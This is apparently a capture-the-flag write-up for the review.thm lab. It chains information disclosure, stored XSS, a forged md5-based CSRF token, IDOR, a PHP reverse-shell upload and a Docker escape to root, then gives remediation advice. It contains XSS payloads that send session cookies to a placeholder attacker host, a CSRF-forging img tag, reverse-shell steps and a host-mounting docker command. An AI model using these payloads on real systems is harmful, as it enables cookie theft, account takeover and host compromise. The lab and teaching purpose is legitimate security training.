Level: Medium
Date: May 06, 2026
Target IP: 10.114.158.228
Robert made some last-minute updates to the review.thm website before heading off on vacation. He claims that the secret information of the financiers is fully protected. But are his defenses truly airtight? Your challenge is to exploit the vulnerabilities and gain complete control of the system.
1. What is the flag value after logging in as mod?
2. What is the flag value after logging in as admin?
3. What is the flag value after getting root access to the system?
nmap -sCV review.thm

Open ports:
PHPSESSID -> httponly flag not set -> JS can read the cookiegobuster dir -u http://review.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,js,txt,py,html,css -t 50

A few interesting findings:
Most of them were redirecting to index.php but /mail had an interesting finding:

Key findings in dump.txt:
192.x network.A page with a login form Home and contact form Contact Us

Tried the cross-site scripting idea and it worked through the Contact-form.
<script>
fetch('http://MYIP:8080/?c=' + document.cookie)
</script>
nc -lnvp 8080


From this we can read the PHPSESSID:
togfkko8uuj2vd4tv24savjs2r
With this I am attempting to change the cookie through devtools in Firefox in hope of gaining access to the mods cookie-session.

And that worked.
Mod flag: THM{M0dH@ck3dPawned007}
Upon clicking around at the website as mod I found some interesting things under Settings.
Maybe promoting my mod account to admin will give me more permissions. But unfortunately not.



Findings under home and chat:
Home: The admins id is 2.
Chat: I can interact with the admin who is online. The same kind of Cookie-Hijacking technique might work against him if I send a similar payload to him and start a listener to fetch the cookie.


They are aware of this and probably has a filter. Gonna have to find another way around it.
<img src=x onerror="fetch('http://MYIP:9001/?c='+document.cookie)">
nc -lnvp 9001

Heading back to the settings and intercepting the request when trying to promote my mod account we get a CSRF token.
The CSRF token is the md5 hash of the username. By replacing mod's hash with the md5 hash of admin, I can forge a promotion request for the admin account instead.

The hash is a md5 type.


<img src="http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5">
Instead of mod, I am changing the mod to admin. Hence forging the request.
Generate a md5 for admin -> 21232f297a57a5a743894a0e4a801fc3

And then we send the payload with md5 hash of admin value instead of mod.


And now we are admin!
Admin flag: THM{Adm1NPawned007}
I had to log out and then use the same cookie since the refreshing the page didn't work. With this we have a new feature, Lottery Feature.
From earlier in the dump.txt we know that there were 2 panels under construction, finance.php and lottery.php.

But there isn't much to it. So I decided to capture the request in Burp to see if there is something hidden when loading the Lottery Feature.

Changing the feature from lottery.php to finance.php and we are presented with a password requirement for the finance panel.
Remember the dump.txt? There was a password in there.
(UPDATE: I realize now when cleaning up that I forgot to take a picture of the password pop-up, but using the password found in dump.txt worked.)

We are presented with a table of investors and a file upload. This screams reverse shell through file upload to me. And being logical the last flag is root's, so we will probably access the server through the terminal from here.

I will try the standard php-revshell already installed on Kali, changing IP, port and upload with a netcat listener on my Kali. Standard procedure.
Shell found in:
/usr/share/webshells/php/php-reverse-shell.php

The uploads folder runs on the internal server, so to trigger it, navigating to it via the URL doesn't work. Instead I triggered it the same way I did in Burp when accessing /finance.php by changing feature to /uploads/shell.php.
And we get a root shell. (At least I thought).


The box crashed unfortunately but I have everything logged just had to redo the steps, and then make a stable shell while I'm at it.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
And we are back at it.
But there are no obvious flags, and the .dockerenv confirms I'm in a docker container and not on the host yet.


Escaping the docker-container
docker run -v /:/mnt --rm -it phpvulnerable chroot /mnt sh
Breakdown
docker run -> Starting a new container
-v /:/mnt -> Mounts the host-file system in a container as /mnt
--rm -> Removes the container as it closes
-it -> Interactive terminal
phpvulnerable -> The image in use locally
chroot /mnt -> Changes root-directory to /mnt - the host-file system
sh -> Starting a new root-shell

Root flag: THM{rootAccessD0n3}
/mail containing dump.txt
with credentials and internal panel pathsPHPSESSID cookie via netcat listeneradminfeature parameter in Burp from
lottery.php to finance.php to access hidden finance panelfeature parameter to /uploads/shell.phpchroot to root shell on host1. Information Disclosure via dump.txt
/mail/dump.txt → internal panel paths + plaintext password
2. Stored XSS via Contact Form
<script>fetch('http://ATTACKER:8080/?c=' + document.cookie)</script>
httponly flag not set on PHPSESSID → cookie readable by JavaScript3. Weak CSRF Implementation
csrf_token_promote = md5(username)
4. Insecure Direct Object Reference (IDOR)
?feature=lottery.php → ?feature=finance.php
feature parameter5. Unrestricted File Upload
php-reverse-shell.php → uploaded without restriction
6. Docker Socket Exposure
docker run -v /:/mnt --rm -it phpvulnerable chroot /mnt sh
1. Cookie Security
HttpOnly and Secure flags on session cookies2. XSS Prevention
3. CSRF Tokens
md5(username) as CSRF tokens4. File Upload Validation
// Bad
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
// Good
$allowed = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed)) {
die('Invalid file type');
}
5. Docker Hardening
--read-only and --no-new-privileges flags/mail and similar directories – internal dumps and
emails often contain credentials and infrastructure hintsmd5(username) is trivially forgeablefeature=lottery.php to
feature=finance.php bypassed access controls entirely.dockerenv – confirms container environment, pivot to
checking Docker socket for escapeA multi-stage web challenge on review.thm. Gobuster found /mail/dump.txt exposing internal panel paths and a plaintext password. XSS via the contact form stole mod's PHPSESSID cookie (httponly flag unset), enabling session hijacking. A predictable CSRF token (md5(username)) was forged to promote the mod account to admin. An IDOR in the feature parameter revealed a hidden finance panel, where unrestricted file upload enabled a PHP reverse shell. A .dockerenv confirmed container execution — the exposed Docker socket was used to mount the host filesystem and chroot to a full root shell.